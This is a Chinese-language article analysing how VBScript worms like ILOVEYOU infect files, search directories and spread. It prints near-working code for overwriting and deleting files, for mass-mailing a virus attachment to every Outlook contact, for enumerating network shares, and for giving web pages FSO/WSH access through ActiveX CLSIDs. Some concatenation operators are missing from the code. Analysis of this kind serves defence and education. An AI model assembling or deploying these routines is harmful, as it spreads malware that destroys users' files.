网络的流行,让我们的世界变得更加美好,但它也有让人不愉快的时候。当您收到一封主题为“I Love You”的邮件,用兴奋得几乎快发抖的鼠标去点击附件的时候;当您浏览一个信任的网站之后,发现打开每个文件夹的速度非常慢的时候,您是否察觉病毒已经闯进了您的世界呢?2000年5月4日欧美爆发的“爱虫”网络蠕虫病毒。由于通过电子邮件系统传播,爱虫病毒在短短几天内狂袭全球数百万计的电脑。微软、Intel等在内的众多大型企业网络系统瘫痪,全球经济损失达几十亿美元。而去年爆发的新欢乐时光病毒至今都让广大电脑用户更是苦不堪言。 上面提及的两个病毒最大的一个共同特点是:使用VBScript编写。以爱虫和新欢乐时光病毒为典型代表的VBS脚本病毒十分的猖獗,很重要的一个原因就是其编写简单。下面我们就来逐一对VBS脚本病毒的各个方面加以分析:
二、Vbs脚本病毒原理分析 1.vbs脚本病毒如何感染、搜索文件 VBS脚本病毒一般是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序的中间,譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部,并在顶部加入一条调用病毒代码的语句,而爱虫病毒则是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。下面我们通过爱虫病毒的部分代码具体分析一下这类病毒的感染和搜索原理: 以下是文件感染的部分关键代码: Set fso=createobject("scripting.filesystemobject") '创建一个文件系统对象 set self=fso.opentextfile(wscript.scriptfullname,1) '读打开当前文件(即病毒本身) vbscopy=self.readall ' 读取病毒全部代码到字符串变量vbscopy…… set ap=fso.opentextfile(目标文件.path,2,true) ' 写打开目标文件,准备写入病毒代码 ap.write vbscopy ' 将病毒代码覆盖目标文件 ap.close set cop=fso.getfile(目标文件.path) '得到目标文件路径 cop.copy(目标文件.path ".vbs") ' 创建另外一个病毒文件(以.vbs为后缀) 目标文件.delete(true) '删除目标文件 上面描述了病毒文件是如何感染正常文件的:首先将病毒自身代码赋给字符串变量vbscopy,然后将这个字符串覆盖写到目标文件,并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本,最后删除目标文件。 下面我们具体分析一下文件搜索代码: '该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本 sub scan(folder_) 'scan函数定义, on error resume next '如果出现错误,直接跳过,防止弹出错误窗口 set folder_=fso.getfolder(folder_) set files=folder_.files ' 当前目录的所有文件集合 for each file in filesext=fso.GetExtensionName(file) '获取文件后缀 ext=lcase(ext) '后缀名转换成小写字母 if ext="mp5" then '如果后缀名是mp5,则进行感染。请自己建立相应后缀名的文件,最好是非正常后缀名 ,以免破坏正常程序。 Wscript.echo (file) end if next set subfolders=folder_.subfolders for each subfolder in subfolders '搜索其他目录;递归调用 scan( ) scan(subfolder) next end sub 上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan( )函数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。
2.vbs脚本病毒通过网络传播的几种方式及代码分析 VBS脚本病毒之所以传播范围广,主要依赖于它的网络传播功能,一般来说,VBS脚本病毒采用如下几种方式进行传播: 1)通过Email附件传播 这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。 下面我们具体分析一下VBS脚本病毒是如何做到这一点的: Function mailBroadcast() on error resume next wscript.echo Set outlookApp = CreateObject("Outlook.Application") //创建一个OUTLOOK应用的对象 If outlookApp= "Outlook" Then Set mapiObj=outlookApp.GetNameSpace("MAPI") //获取MAPI的名字空间 Set addrList= mapiObj.AddressLists //获取地址表的个数 For Each addr In addrList If addr.AddressEntries.Count > 0 Then addrEntCount = addr.AddressEntries.Count //获取每个地址表的Email记录数 For addrEntIndex= 1 To addrEntCount //遍历地址表的Email地址 Set item = outlookApp.CreateItem(0) //获取一个邮件对象实例 Set addrEnt = addr.AddressEntries(addrEntIndex) //获取具体Email地址 item.To = addrEnt.Address //填入收信人地址 item.Subject = "病毒传播实验" //写入邮件标题 item.Body = "这里是病毒邮件传播测试,收到此信请不要慌张!" //写入文件内容 Set attachMents=item.Attachments //定义邮件附件 attachMents.Add fileSysObj.GetSpecialFolder(0) "\test.jpg.vbs" item.DeleteAfterSubmit = True //信件提交后自动删除 If item.To > "" Then item.Send //发送邮件 shellObj.regwrite "HKCU\software\Mailtest\mailed", "1" //病毒标记,以免重复感染 End If Next End If Next End if End Function
2)通过局域网共享传播 局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说,为了局域网内交流方便,一定存在不少共享目录,并且具有可写权限,譬如win2000创建共享时,默认就是具有可写权限。这样病毒通过搜索这些共享目录,就可以将病毒代码传播到这些目录之中。 在VBS中,有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。 welcome_msg = "网络连接搜索测试" Set WSHNetwork = WScript.CreateObject("WScript.Network") '创建一个网络对象 Set oPrinters = WshNetwork.EnumPrinterConnections '创建一个网络打印机连接列表 WScript.Echo "Network printer mappings:" For i = 0 to oPrinters.Count - 1 Step 2 '显示网络打印机连接情况 WScript.Echo "Port " oPrinters.Item(i) " = " oPrinters.Item(i+1) Next Set colDrives = WSHNetwork.EnumNetworkDrives '创建一个网络共享连接列表 If colDrives.Count = 0 Then MsgBox "没有可列出的驱动器。", vbInformation + vbOkOnly,welcome_msg Else strMsg = "当前网络驱动器连接: " CRLF For i = 0 To colDrives.Count - 1 Step 2 strMsg = strMsg Chr(13) Chr(10) colDrives(i) Chr(9) colDrives(i + 1) Next MsgBox strMsg, vbInformation + vbOkOnly, welcome_msg'显示当前网络驱动器连接 End If 上面是一个用来寻找当前打印机连接和网络共享连接并将它们显示出来的完整脚本程序。在知道了共享连接之后,我们就可以直接向目标驱动器读写文件了。
3)通过感染htm、asp、jsp、php等网页文件传播 如今,WWW服务已经变得非常普遍,病毒通过感染htm等文件,势必会导致所有访问过该网页的用户机器感染病毒。 病毒之所以能够在htm文件中发挥强大功能,采用了和绝大部分网页恶意代码相同的原理。基本上,它们采用了相同的代码,不过也可以采用其它代码,这段代码是病毒FSO,WSH等对象能够在网页中运行的关键。在注册表HKEY_CLASSES_ROOT\CLSID\下我们可以找到这么一个主键{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B},注册表中对它他的说明是“Windows Script Host Shell Object”,同样,我们也可以找到{0D43FE01-F093-11CF-8940-00A0C9054228},注册表对它的说明是“FileSystem Object”,一般先要对COM进行初始化,在获取相应的组件对象之后,病毒便可正确地使用FSO、WSH两个对象,调用它们的强大功能。代码如下所示: Set Apple0bject = document.applets("KJ_guest") Apple0bject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}") Apple0bject.createInstance() '创建一个实例 Set WsShell Apple0bject.Get0bject() Apple0bject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}") Apple0bject.createInstance() '创建一个实例 Set FSO = Apple0bject.Get0bject() 对于其他类型文件,这里不再一一分析。